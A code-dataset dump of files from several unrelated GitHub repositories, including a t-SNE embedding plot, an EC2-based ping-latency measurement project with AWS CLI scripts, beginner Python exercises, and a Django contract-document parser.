KDTree(embed_dict[i], leaf_size=10)\n\tprint 'tree', i\n\ndef distance(embed, tree, embed_name, tree_name):\n\tpath = \"/mnt/data/computervision/tara/results64/\"\n\tdist_filename = path + embed_name + \"_\" + tree_name + \"_distances.npy\"\n\tind_filename = path + embed_name + \"_\" + tree_name + \"_indices.npy\"\n\tif os.path.exists(dist_filename):\n\t\tdists = np.load(dist_filename)\n\t\tindices = np.load(ind_filename)\n\telse:\n\t\t(dists, indices) = tree.query(embed, k=1)\n\t\tnp.save(dist_filename, dists)\n\t\tnp.save(ind_filename, indices)\n dist = np.mean(dists)\n print embed_name, tree_name, dist\n\nfor i in range(N):\n\tfor j in range(N):\n\t\tif not j == i:\n\t\t\tp = Process(target=distance, args=(embed_dict[i], tree_dict[j], rev_label_dict[i], rev_label_dict[j]))\n\t\t\tp.start()\n\n\n" }, { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.6997635960578918, "avg_line_length": 30.725000381469727, "blob_id": "66cab321e472cb637880b066009d448a7a9e15c0", "content_id": "2ea663101dec8d6e39a46b41e5ff00eb402f2943", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1269, "license_type": "no_license", "max_line_length": 100, "num_lines": 40, "path": "/tsne.py", "repo_name": "adsteen/base_clstm", "src_encoding": "UTF-8", "text": "import numpy as np\nfrom keras.models import Model, load_model\nfrom load_data import get_onehot\nfrom sklearn.manifold import TSNE\nimport matplotlib.pyplot as plt\nfrom load_data import load_csv, get_onehot\n\nmodel_name = 'blstm_mask_dna_100class_4500'\ninput_file = '/mnt/data/computervision/dna_100class_train80_val10_test10/test.csv'\ndisplay_classes = 10\nn = 100\n\nis_dna_data = True\nseq_len = 4500\nmask_len = 113\n\nmodel_file = '../models/'+model_name+'.h5'\nmodel = load_model(model_file)\nembed_model = Model(inputs=model.input, outputs=model.get_layer(\"lstm_2\").output)\nembed_model.summary()\n\ncounts = np.zeros(display_classes, dtype = np.int8)\ndata = load_csv(input_file, divide=1)\nchosen_data = []\n\nfor (x, y) in data:\n\tif y < display_classes and counts[y] < n:\n\t\tcounts[y] = counts[y] + 1\n\t\tchosen_data.append((x,y))\n\nx, y, m = get_onehot(chosen_data, None, is_dna_data=is_dna_data, seq_len=seq_len, mask_len=mask_len)\nembed = embed_model.predict([x,m], batch_size=100, verbose=1)\n\ntsne = TSNE(n_components=2, random_state=0)\nxx = tsne.fit_transform(embed)\n\ncolors = ['red', 'orange', 'yellow', 'green', 'blue', 'purple', 'magenta', 'brown', 'gray', 'black']\nfor i in range(len(chosen_data)):\n\tplt.scatter([xx[i,0]], [xx[i,1]], c=colors[chosen_data[i][1]])\nplt.show()\n" } ]
12
Determinant/latency-seismometer
https://github.com/Determinant/latency-seismometer
3362ac48f7d5176953f299541ea27126f07571db
add83b0b258a97da7ea7c9efbb450df1f74a0896
5535daf2df5965629afd199253378ca3cb464ca0
refs/heads/main
2023-08-30T21:15:45.988030
2021-10-14T08:02:18
2021-10-14T08:02:18
411,918,728
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.45560407638549805, "alphanum_fraction": 0.4788937270641327, "avg_line_length": 35.157894134521484, "blob_id": "c187f0e5d0a46b9c72982821821bd8720de83c7c", "content_id": "54d014b5398bf955c2d4b1ea519e06e700a9a13e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2062, "license_type": "no_license", "max_line_length": 87, "num_lines": 57, "path": "/measure/extract-matrix.py", "repo_name": "Determinant/latency-seismometer", "src_encoding": "UTF-8", "text": "import os\nimport re\nimport pickle\nimport argparse\nimport json\nimport iso8601\n\nnode_pat = re.compile(r'node[0-9]+ ansible_host=([^ ]+) host_idx=([0-9]+)')\nlat_pat = re.compile(r'([0-9-:TZ]+) INFO ([0-9.]+) ([0-9.]*.*s)')\n\nparser = argparse.ArgumentParser(description='Extract the latency matrix from logs.')\nparser.add_argument('dir', help='directory of a run (by ./run.sh)')\nparser.add_argument('--output', help='output file path')\nparser.add_argument('--format', default='pickle', help='output format (pickle/json)')\n\nargs = parser.parse_args()\n\nif __name__ == \"__main__\":\n node_map = {}\n n = 0\n with open(os.path.join(args.dir, 'nodes'), \"r\") as f:\n for line in f:\n m = node_pat.match(line)\n if m:\n node_map[m[1]] = int(m[2])\n n += 1\n nodes = [None] * n\n for node in node_map:\n nodes[node_map[node]] = node\n matrix = []\n for (i, node) in enumerate(nodes):\n row = [[] for i in range(n)]\n with open(os.path.join(args.dir, 'remote', str(i), 'log', 'stderr'), 'r') as f:\n for line in f:\n m = lat_pat.match(line)\n if m:\n ns = 0.0\n if m[3][-2:] == 'ns':\n ns = float(m[3][:-2])\n elif m[3][-2:] == 'µs':\n ns = float(m[3][:-2]) * 1e3\n elif m[3][-2:] == 'ms':\n ns = float(m[3][:-2]) * 1e6\n elif m[3][-1:] == 's':\n ns = float(m[3][:-1]) * 1e9\n t = int(iso8601.parse_date(m[1]).timestamp())\n row[node_map[m[2]]].append((t, ns))\n for j in range(n):\n row[j].sort()\n matrix.append((node, row))\n print(args.output)\n if args.format == \"json\":\n with open(args.output if args.output else 'latency.json', 'w') as f:\n json.dump(matrix, f)\n else:\n with open(args.output if args.output else 'latency.pickle', 'wb') as f:\n pickle.dump(matrix, f)\n" }, { "alpha_fraction": 0.7009345889091492, "alphanum_fraction": 0.7102803587913513, "avg_line_length": 60.14285659790039, "blob_id": "a811977afbfc2b07d6c12ec291ba3a7ab2c35d56", "content_id": "b3498956a17517480915f7ea56c8dfdea494c2cf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 428, "license_type": "no_license", "max_line_length": 211, "num_lines": 7, "path": "/measure/ec2-show-all-regions.sh", "repo_name": "Determinant/latency-seismometer", "src_encoding": "UTF-8", "text": "#!/bin/bash -e\nprofile=mine\nAWS_REGIONS=\"$(aws ec2 --profile ${profile} --region us-west-1 describe-regions --query 'Regions[].RegionName' --output text)\"\nfor region in ${AWS_REGIONS}; do\n printf \"$region: \"\n aws ec2 --profile \"${profile}\" --region \"$region\" describe-instances --filters Name=instance-state-name,Values=running --query 'Reservations[*].Instances[*].{Id:InstanceId,Ip1:PublicIpAddress}' --output text\ndone\n" }, { "alpha_fraction": 0.6576704382896423, "alphanum_fraction": 0.6875, "avg_line_length": 69.4000015258789, "blob_id": "77d22d4d045dd579006c3a9af99097caa89169ec", "content_id": "2416b9148f515243747d2ae08f6bdcf070030327", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 704, "license_type": "no_license", "max_line_length": 129, "num_lines": 10, "path": "/measure/ec2-add-icmp-sg.sh", "repo_name": "Determinant/latency-seismometer", "src_encoding": "UTF-8", "text": "#!/bin/bash\nprofile=mine\nAWS_REGIONS=\"$(aws ec2 --profile ${profile} --region us-west-1 describe-regions --query 'Regions[].RegionName' --output text)\"\nfor region in ${AWS_REGIONS}; do\n aws ec2 --profile \"${profile}\" --region \"$region\" delete-security-group --group-name allow-icmp\n aws ec2 --profile \"${profile}\" --region \"$region\" create-security-group --group-name allow-icmp --description \"Allow ICMP\"\n aws ec2 --profile \"${profile}\" --region \"$region\" authorize-security-group-ingress --group-name allow-icmp --ip-permissions \\\n IpProtocol=icmp,FromPort=-1,ToPort=-1,IpRanges='[{CidrIp=0.0.0.0/0}]' \\\n IpProtocol=tcp,FromPort=22,ToPort=22,IpRanges='[{CidrIp=0.0.0.0/0}]'\ndone\n" }, { "alpha_fraction": 0.6838905811309814, "alphanum_fraction": 0.6930091381072998, "avg_line_length": 53.83333206176758, "blob_id": "0aba0bdd4d44e15df5c16785d8d7f166d0abe787", "content_id": "88256d9669b8ae29c1bea206e35ff89c8ccf5dec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 329, "license_type": "no_license", "max_line_length": 135, "num_lines": 6, "path": "/measure/ec2-import-key-to-all-regions.sh", "repo_name": "Determinant/latency-seismometer", "src_encoding": "UTF-8", "text": "#!/bin/bash -e\nprofile=mine\nAWS_REGIONS=\"$(aws ec2 --profile ${profile} --region us-west-1 describe-regions --query 'Regions[].RegionName' --output text)\"\nfor region in ${AWS_REGIONS}; do\n aws ec2 --profile \"${profile}\" import-key-pair --key-name ted-key --public-key-material fileb://./ted-oregon.pub --region \"$region\"\ndone\n" }, { "alpha_fraction": 0.5645833611488342, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 24.263158798217773, "blob_id": "e6d1656aa26d49218db3e397cb3ea6887838329a", "content_id": "6e6718ee7bb95e602649bd43eaea874986fd26b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 480, "license_type": "no_license", "max_line_length": 84, "num_lines": 19, "path": "/measure/plot_hist.py", "repo_name": "Determinant/latency-seismometer", "src_encoding": "UTF-8", "text": "import pickle\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\nwith open(\"./latency.pickle\", \"rb\") as f:\n matrix = pickle.load(f)\n\nn = len(matrix)\n\nfig, axes = plt.subplots(n, n, figsize=(80, 50))\n\nfor i in range(n):\n for j in range(n):\n points = matrix[i][1][j]\n d = {'t': [p[0] / 1e9 for p in points], 'rtt': [p[1] / 1e6 for p in points]}\n sns.histplot(data=d, x='rtt', ax=axes[i][j], bins=100)\n\nfig.tight_layout()\nfig.savefig('t.png', dpi=200)\n" }, { "alpha_fraction": 0.7021276354789734, "alphanum_fraction": 0.7106382846832275, "avg_line_length": 77.33333587646484, "blob_id": "78fe756b52d34b880437e4e873f52c4ed073d5c2", "content_id": "ebb2125e901aee5f55b5778778b423fc5a48e86d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 470, "license_type": "no_license", "max_line_length": 279, "num_lines": 6, "path": "/measure/ec2-terminate-all-regions.sh", "repo_name": "Determinant/latency-seismometer", "src_encoding": "UTF-8", "text": "#!/bin/bash\nprofile=mine\nAWS_REGIONS=\"$(aws ec2 --profile ${profile} --region us-west-1 describe-regions --query 'Regions[].RegionName' --output text)\"\nfor region in ${AWS_REGIONS}; do\n aws ec2 --profile \"${profile}\" --region \"$region\" terminate-instances --instance-ids $(aws ec2 --profile \"${profile}\" --region \"$region\" describe-instances --filters Name=instance-state-name,Values=running --query 'Reservations[*].Instances[*].{Id:InstanceId}' --output text)\ndone\n" }, { "alpha_fraction": 0.3821712136268616, "alphanum_fraction": 0.7581641674041748, "avg_line_length": 26.634145736694336, "blob_id": "72f25c806206a8cce3eb0a475f53b978de04221b", "content_id": "95522ddfdaf1d3caa4de90c86d774a7c64cb949a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 1133, "license_type": "no_license", "max_line_length": 46, "num_lines": 41, "path": "/measure/nodes.ini", "repo_name": "Determinant/latency-seismometer", "src_encoding": "UTF-8", "text": "[nodes_setup]\n13.231.194.13\n15.152.77.70\n15.161.183.153\n15.228.123.219\n16.170.170.219\n18.142.160.225\n18.163.5.44\n3.144.142.203\n3.36.47.158\n3.70.8.172\n3.96.20.194\n35.178.188.135\n35.180.189.170\n52.90.2.52\n54.219.231.3\n54.245.22.209\n54.76.50.46\n54.79.129.120\n65.1.145.76\n\n[nodes]\nnode0 ansible_host=16.170.170.219 host_idx=0\nnode1 ansible_host=65.1.145.76 host_idx=1\nnode2 ansible_host=35.180.189.170 host_idx=2\nnode3 ansible_host=35.178.188.135 host_idx=3\nnode4 ansible_host=15.161.183.153 host_idx=4\nnode5 ansible_host=54.76.50.46 host_idx=5\nnode6 ansible_host=15.152.77.70 host_idx=6\nnode7 ansible_host=3.36.47.158 host_idx=7\nnode8 ansible_host=13.231.194.13 host_idx=8\nnode9 ansible_host=15.228.123.219 host_idx=9\nnode10 ansible_host=3.96.20.194 host_idx=10\nnode11 ansible_host=18.163.5.44 host_idx=11\nnode12 ansible_host=18.142.160.225 host_idx=12\nnode13 ansible_host=54.79.129.120 host_idx=13\nnode14 ansible_host=3.70.8.172 host_idx=14\nnode15 ansible_host=52.90.2.52 host_idx=15\nnode16 ansible_host=3.144.142.203 host_idx=16\nnode17 ansible_host=54.219.231.3 host_idx=17\nnode18 ansible_host=54.245.22.209 host_idx=18\n" }, { "alpha_fraction": 0.6045845150947571, "alphanum_fraction": 0.6647564172744751, "avg_line_length": 19.52941131591797, "blob_id": "8af672b6c6370dc37bad7343b9431b5c58d0556e", "content_id": "b6f38b354f7d811a0ab8ce810f02775d88c9a782", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TOML", "length_bytes": 349, "license_type": "no_license", "max_line_length": 96, "num_lines": 17, "path": "/Cargo.toml", "repo_name": "Determinant/latency-seismometer", "src_encoding": "UTF-8", "text": "[package]\nname = \"latency-seismometer\"\nversion = \"0.1.0\"\nauthors = [\"Determinant <[email protected]>\"]\nedition = \"2018\"\n\n# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html\n\n[dependencies]\nclap = \"2.33.3\"\nenv_logger = \"0.9.0\"\nfastping-rs = \"0.2.2\"\nlog = \"0.4.14\"\n\n[[bin]]\nname = \"ls-pinger\"\npath = \"src/pinger.rs\"\n" }, { "alpha_fraction": 0.5608628392219543, "alphanum_fraction": 0.562403678894043, "avg_line_length": 33.157894134521484, "blob_id": "a244867664bb74fb6b88f94d77906b6cf47a8575", "content_id": "735ea0e9b175c7ee1e77bae46266b91b09a9e5e2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 649, "license_type": "no_license", "max_line_length": 91, "num_lines": 19, "path": "/measure/gen_inventory.py", "repo_name": "Determinant/latency-seismometer", "src_encoding": "UTF-8", "text": "import argparse\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Generate configuration files for a run.')\n parser.add_argument('--ips', type=str, default='ips.txt',\n help='text file with all IPs')\n args = parser.parse_args()\n\n print(\"[nodes_setup]\")\n ips = []\n with open(args.ips, \"r\") as rfile:\n for line in rfile:\n ips.append(line.strip().split()[0])\n machines = sorted(ips)\n print(\"\\n\".join(machines))\n print(\"\\n[nodes]\")\n for (i, pub_ip) in enumerate(ips):\n print(\"node{} ansible_host={} host_idx={}\".format(\n i, pub_ip, i))\n" }, { "alpha_fraction": 0.6049751043319702, "alphanum_fraction": 0.6497512459754944, "avg_line_length": 54.83333206176758, "blob_id": "cb38b87cc0f217aa60e36724b0c2cfec6b9ed71a", "content_id": "16e253888ddc82618c03212dccc5a0a704976f24", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1005, "license_type": "no_license", "max_line_length": 196, "num_lines": 18, "path": "/measure/ec2-launch-all-regions.sh", "repo_name": "Determinant/latency-seismometer", "src_encoding": "UTF-8", "text": "#!/bin/bash -e\nprofile=mine\nAWS_REGIONS=\"$(aws ec2 --profile ${profile} --region us-west-1 describe-regions --query 'Regions[].RegionName' --output text)\"\n#AWS_REGIONS=\"eu-south-1 eu-west-1 ap-northeast-3 ap-northeast-2 ap-northeast-1 sa-east-1 ca-central-1 ap-east-1 ap-southeast-1 ap-southeast-2 eu-central-1 us-east-1 us-east-2 us-west-1 us-west-2\"\n\nfor region in ${AWS_REGIONS}; do\n ami=\"$(aws ec2 --profile ${profile} --region $region describe-images \\\n --owners 099720109477 \\\n --filters Name=root-device-type,Values=ebs \\\n Name=architecture,Values=x86_64 \\\n Name=name,Values='ubuntu/images/hvm-ssd/ubuntu-focal-20.04-amd64-server-*' \\\n --query 'Images[*].[ImageId,CreationDate]' --output text \\\n | sort -k2 -r \\\n | head -n1 \\\n | awk '{ print $1 }')\"\n echo \"$region: $ami\"\n aws ec2 --profile \"${profile}\" --region \"$region\" run-instances --image-id \"$ami\" --instance-type t3.micro --security-groups allow-icmp --key-name ted-key\ndone\n" }, { "alpha_fraction": 0.4256536066532135, "alphanum_fraction": 0.42728757858276367, "avg_line_length": 26.505617141723633, "blob_id": "a82ed3a2f67d209aa3bcdbfa057861cb260ed11e", "content_id": "d95dd78c969a3294be75bb7c3dbe33f1486484af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 2448, "license_type": "no_license", "max_line_length": 91, "num_lines": 89, "path": "/src/pinger.rs", "repo_name": "Determinant/latency-seismometer", "src_encoding": "UTF-8", "text": "#[macro_use]\nextern crate log;\n\nuse clap::{App, Arg};\nuse fastping_rs::PingResult::{Idle, Receive};\nuse fastping_rs::Pinger;\nuse std::fs::File;\nuse std::io::{self, BufRead, Write};\n\nfn main() {\n env_logger::Builder::new()\n .format(|buf, record| {\n let ts = buf.timestamp();\n writeln!(buf, \"{} {} {}\", ts, record.level(), record.args())\n })\n .filter(None, log::LevelFilter::Info)\n .init();\n\n let m = App::new(\"Latency Seismometer\")\n .version(\"0.1\")\n .author(\"Ted Yin <[email protected]>\")\n .about(\"Record ping RTT for hosts\")\n .arg(\n Arg::with_name(\"addr\")\n .multiple(true)\n .short(\"a\")\n .long(\"addr\")\n .value_name(\"HOST\")\n .help(\"add a pinged host\")\n .takes_value(true),\n )\n .arg(\n Arg::with_name(\"list\")\n .multiple(true)\n .short(\"l\")\n .long(\"list\")\n .value_name(\"FILE\")\n .help(\"add hosts from a file\")\n .takes_value(true),\n )\n .get_matches();\n\n let (pinger, results) = match Pinger::new(None, Some(56)) {\n Ok((pinger, results)) => (pinger, results),\n Err(e) => {\n error!(\"creating pinger: {}\", e);\n return\n },\n };\n\n if let Some(hosts) = m.values_of(\"addr\") {\n for host in hosts {\n pinger.add_ipaddr(host);\n }\n }\n\n let parse_file = || -> Result<(), String> {\n if let Some(lists) = m.values_of(\"list\") {\n for file in lists {\n let f = File::open(file).map_err(|e| e.to_string())?;\n for host in io::BufReader::new(f).lines() {\n pinger.add_ipaddr(&host.map_err(|e| e.to_string())?)\n }\n }\n }\n Ok(())\n };\n\n if let Err(msg) = parse_file() {\n error!(\"loading file: {}\", msg);\n return\n }\n\n pinger.run_pinger();\n\n loop {\n match results.recv() {\n Ok(result) => match result {\n Idle { addr } => {\n error!(\"Idle Address {}.\", addr);\n }\n Receive { addr, rtt } => {\n info!(\"{} {:?}.\", addr, rtt);\n }\n },\n Err(_) => panic!(\"Worker threads disconnected before the solution was found!\"),\n }\n }\n}\n" } ]
11
Binh0102/Baikiemtra
https://github.com/Binh0102/Baikiemtra
d46c440bde1179a768a83db375f4b76b69dc07a1
44bcd1b7ddcf3d57e0f0d462b20cdf0dacccf133
b9041e1a4554bed2d15d195e9dacac51ae31d72e
refs/heads/master
2023-08-15T06:06:58.964830
2021-09-25T03:48:41
2021-09-25T03:48:41
410,168,178
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4117647111415863, "alphanum_fraction": 0.5775400996208191, "avg_line_length": 17.799999237060547, "blob_id": "974e750d2411d2f7ff463b6a42b34e281cdb73bf", "content_id": "131b557d78940501a81cd39a018e5025b21a7181", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 196, "license_type": "no_license", "max_line_length": 37, "num_lines": 10, "path": "/bai2.py", "repo_name": "Binh0102/Baikiemtra", "src_encoding": "UTF-8", "text": "#Câu a\nA=[1,1,2,3,5,8,13,21,34,55,88]\nB=[1,3,5,4,7,88,66,59,40,54]\nC=set(A)&set(B)\nprint(\"các phần tử trùng nhau là:\",C)\n#Câu b\nA=set(A)-set(C)\nB=set(B)-set(C)\nprint(\"A:\",A)\nprint(\"B:\",B)" }, { "alpha_fraction": 0.5509259104728699, "alphanum_fraction": 0.5787037014961243, "avg_line_length": 26.125, "blob_id": "676295299c04c6ae693ad0c8ac2f297882fda0a6", "content_id": "a455dce8c306bc19ecce143ca723d653bc58f83c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 232, "license_type": "no_license", "max_line_length": 44, "num_lines": 8, "path": "/bai4.py", "repo_name": "Binh0102/Baikiemtra", "src_encoding": "UTF-8", "text": "n=int(input(\"Nhập một số nguyên dương:\"))\ndef tongcacchuso(n):\n phantu = 0\n while (n > 0):\n phantu = phantu + n % 10\n n = int(n / 10)\n return phantu\nprint(\"Tổng cac chữ số là:\",tongcacchuso(n))" }, { "alpha_fraction": 0.5207824110984802, "alphanum_fraction": 0.5330073237419128, "avg_line_length": 24.625, "blob_id": "4f8e2c803d3071b17837da06fdf65f90a4ecb640", "content_id": "418498cfd5e217787a517263652c90ab1b6c3500", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 432, "license_type": "no_license", "max_line_length": 62, "num_lines": 16, "path": "/bai3.py", "repo_name": "Binh0102/Baikiemtra", "src_encoding": "UTF-8", "text": "while True:\n try:\n n = int(input(\"Nhap số nguyên dương: \"))\n break\n except:\n print(\"Không phải số nguyên dương vui lòng nhập lại!\")\n continue\ndef giaithua(n):\n giai_thua = 1\n if (n == 0 or n == 1):\n return giai_thua\n else:\n for i in range(2, n + 1):\n giai_thua = giai_thua * i\n return giai_thua\nprint(\"Giai thừa của n là\",giaithua(n))" }, { "alpha_fraction": 0.46666666865348816, "alphanum_fraction": 0.5846154093742371, "avg_line_length": 16.81818199157715, "blob_id": "fed0415185b84895c8112bf6c5fa58b0b5ec391b", "content_id": "5950b39c597f60029de1e853b5bf6efec521b791", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 210, "license_type": "no_license", "max_line_length": 42, "num_lines": 11, "path": "/bai1.py", "repo_name": "Binh0102/Baikiemtra", "src_encoding": "UTF-8", "text": "#Câu a\nlist=[1,1,2,6,8,9,4,5,6,45,34,66,44,37,78]\nfor i in list:\n\tif(i<30):\n\t\tprint(i)\n#Câu b\nprint(\"Nhập vào một số:\")\nn=int(input())\nfor j in list:\n\tif(n<j):\n\t\tprint(\"Các số lơn hơn\",n,\"là:\",j)" } ]
4
ldavidson45/govt-hackathon-back
https://github.com/ldavidson45/govt-hackathon-back
3930b3dd78d90025e69002055af07043389e953a
fbad95db4d94f36a63f523c3173762a6fd126587
44d24bfe2b874f1d4a3f2a4eff72540808786ea6
refs/heads/master
2020-05-05T07:56:09.190155
2019-04-06T23:13:07
2019-04-06T23:13:07
179,843,882
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7837837934494019, "alphanum_fraction": 0.7837837934494019, "avg_line_length": 21.200000762939453, "blob_id": "bfc5e1d42bf9c9ab7e58226ae8702d9e1dcefae5", "content_id": "87a8f742cf3d431b722d38bc4ccff2dabb9a53a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 111, "license_type": "no_license", "max_line_length": 41, "num_lines": 5, "path": "/contract_parser_app/apps.py", "repo_name": "ldavidson45/govt-hackathon-back", "src_encoding": "UTF-8", "text": "from django.apps import AppConfig\n\n\nclass ContractParserAppConfig(AppConfig):\n name = 'contract_parser_app'\n" }, { "alpha_fraction": 0.6393442749977112, "alphanum_fraction": 0.6393442749977112, "avg_line_length": 33.880950927734375, "blob_id": "e3b0d8bdaf74f64ad3a875d4f9e480710fe16bc9", "content_id": "198836298ff3b766d51497712215a15aaac289b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1464, "license_type": "no_license", "max_line_length": 96, "num_lines": 42, "path": "/contract_parser_app/views.py", "repo_name": "ldavidson45/govt-hackathon-back", "src_encoding": "UTF-8", "text": "from django.shortcuts import render, redirect\nfrom django.http import HttpResponseRedirect\nfrom .forms import UploadFileForm\nfrom .parse_script import parse_document\nfrom django.http import JsonResponse\nfrom .models import Contract\n\n\n# Create your views here.\n\n\n# accept a word document and return data \n\ndef upload_file(request):\n if request.method == 'POST':\n form = UploadFileForm(request.POST, request.FILES)\n if form.is_valid():\n print (\"valid form\")\n parsed_doc = parse_document(request.FILES['file'])\n print(parsed_doc)\n db_doc = Contract.objects.create({\n 'description': parsed_doc['Description'],\n 'background': parsed_doc['BACKGROUND'],\n 'required_services': parsed_doc['REQUIRED SERVICES'],\n 'response_detail': parsed_doc['RESPONSES'],\n 'title': parsed_doc['PWS']\n })\n # save parsed_doc to DB through model\n # send back instance from model (which will include the ID)\n return JsonResponse(db_doc, safe=False)\n # return render(request, 'contract_parser/contract_show.html', {\"contract\": parsed_doc})\n else:\n form = UploadFileForm()\n return render(request, 'contract_parser/file_upload.html', {'form': form})\n\ndef contract_detail(request, pk):\n # Third:\n # Look up item from db\n return render(request, 'contract_parser/contract_show.html')\n\n\n# Merged" }, { "alpha_fraction": 0.692307710647583, "alphanum_fraction": 0.692307710647583, "avg_line_length": 27, "blob_id": "0afda16c15f7b9ecd8c91b397a7e509456c20989", "content_id": "7e0584a8433b37e63894ed60e7398bdf45365173", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 195, "license_type": "no_license", "max_line_length": 74, "num_lines": 7, "path": "/contract_parser_app/urls.py", "repo_name": "ldavidson45/govt-hackathon-back", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.upload_file, name='upload_file'),\n path('detail/<int:pk>', views.contract_detail, name=\"contract_detail\")\n]" }, { "alpha_fraction": 0.7380191683769226, "alphanum_fraction": 0.7380191683769226, "avg_line_length": 27.545454025268555, "blob_id": "061830410d2c6fcbac4f124a7c59fdabb34ffc8e", "content_id": "9af149ed92012e3659063d3fb73cbb84b2815372", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 313, "license_type": "no_license", "max_line_length": 42, "num_lines": 11, "path": "/contract_parser_app/models.py", "repo_name": "ldavidson45/govt-hackathon-back", "src_encoding": "UTF-8", "text": "from django.db import models\n\n# Create your models here.\n\nclass Contract(models.Model):\n description: models.TextField()\n background: models.TextField()\n required_services: models.TextField()\n contract_personnel: models.TextField()\n response_detail: models.TextField()\n title: models.TextField()" }, { "alpha_fraction": 0.5717746615409851, "alphanum_fraction": 0.5766202211380005, "avg_line_length": 46.17142868041992, "blob_id": "5a368814e2f8db56829477a038f684eee9ac0daa", "content_id": "24c0952ee59f1c74bb632a00c61255fca7c159e9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1651, "license_type": "no_license", "max_line_length": 154, "num_lines": 35, "path": "/contract_parser_app/parse_script.py", "repo_name": "ldavidson45/govt-hackathon-back", "src_encoding": "UTF-8", "text": "from docx import Document\nfrom django.http import JsonResponse\n\n\ndef parse_document(document):\n\n doc = Document(document)\n\n max_search = 30\n\n document_find = ['Description', \"CONTRACTOR PERSONNEL\", \"General\", \"Combined Synops\",\n \"Line items\", \"GOVERN\", \"Applicable\", \"RESPONSES\", \"PURPOSE\", \"BACKGROUND\", \"PWS\", \"Applicable Provisions\", \"Offer Eval\", \"Procedure\",\n \"Submission\", \"BACKGROUND\", \"REQUIRED SERVICES\", \"ROOM & BOARD\", \"LAUNDRY\", \"DIRECT SERVICES\",\n \"Care Planning\", \"Recovery\", \"Medication Management\", \"Case Management\", \"Treatment\", \"Group Activities\",\n \"Discharge Planning\", \"VA Coordination\", \"Transportation\", \"ADMINISTRATIVE\", \"COMMUNICATIONS\",\n \"ADMISSIONS\", \"DOCUMENTATION\", \"ABSENCES\", \"CRITICAL\", \"Scope\", \"Objectives\", \"Tree Services\",\n \"WORK CLEARANCE\", \"FACILITY\", \"GENERAL REQUIREMENTS\", \"INSPECTION\", \"QUALITY\"\n ]\n\n main_dictionary = {}\n Default = \"No relevant information found\"\n compiled_data_list = []\n for i in range(len(doc.paragraphs)):\n for x in range(len(document_find)):\n if document_find[x] in doc.paragraphs[i].text[:max_search]:\n count = 0\n test = 0\n while(not doc.paragraphs[count+i].text.strip()):\n count += 1\n if(count > 7 or count < 1):\n main_dictionary[document_find[x]] = doc.paragraphs[i+2].text\n else:\n main_dictionary[document_find[x]] = doc.paragraphs[i+count].text\n\n return main_dictionary\n" } ]
5
SabasGT/Proyecto1_Algos2
https://github.com/SabasGT/Proyecto1_Algos2
1a9348e11091b6ea26c93abab2a959d83cbe4a3d
3b776f203f3c918ec64e2202d02be07608e23d37
40cdd2885284c822a7404500376d4f9ba2aa3ac7
refs/heads/master
2021-01-06T05:39:58.153413
2020-02-21T03:48:02
2020-02-21T03:48:02
241,225,306
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6291759610176086, "alphanum_fraction": 0.6453229188919067, "avg_line_length": 26.212121963500977, "blob_id": "9c723418ef109e973a7c3887cd71111c39cee7f0", "content_id": "a97b7704a1ea56b2f3184abcb5f87e403fa0bfd6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1805, "license_type": "no_license", "max_line_length": 113, "num_lines": 66, "path": "/graficar_puntos.py", "repo_name": "SabasGT/Proyecto1_Algos2", "src_encoding": "UTF-8", "text": "#\n# Descripción: Programa que dibuja puntos en el plano y su mejor ajuste\n# \t a un polinomio de orden cuadrático\n#\n# Autor: Guillermo Palma \n#\n# Email: [email protected]\n# Versión: 0.1\n\nimport matplotlib.pyplot as plt\nimport math\nimport numpy as np\n\nnum_graficas = 0\nmarcadores = ['.', 'o', '*', '+', 'v', ',', '^', '<', '>', '1', '2', '3', '4', '5', '6', '7', '8', 's', 'p', 'P']\ncolor_defecto = \"C\"\nmax_num_def_colores = 10\n\n#\n# Descripción: Encuentra el mejor ajuste de un conjunto de puntos\n# a un polinomio de orden cuadrático\n#\n# Parametros:\n# x: Lista con las coordenadas del eje X.\n# y: Lista con las coordenadas del eje Y.\n#\ndef puntos_cuadraticos(x, y):\n fit = np.polyfit(x,y,2)\n fit_fn = np.poly1d(fit)\n x_new = np.linspace(x[0], x[-1], 50)\n y_new = fit_fn(x_new)\n return x_new, y_new \n\n#\n# Descripción: Dibuja puntos en el plano de la gráfica\n#\n# Parametros:\n# x: Lista con las coordenadas del eje X.\n# y: Lista con las coordenadas del eje 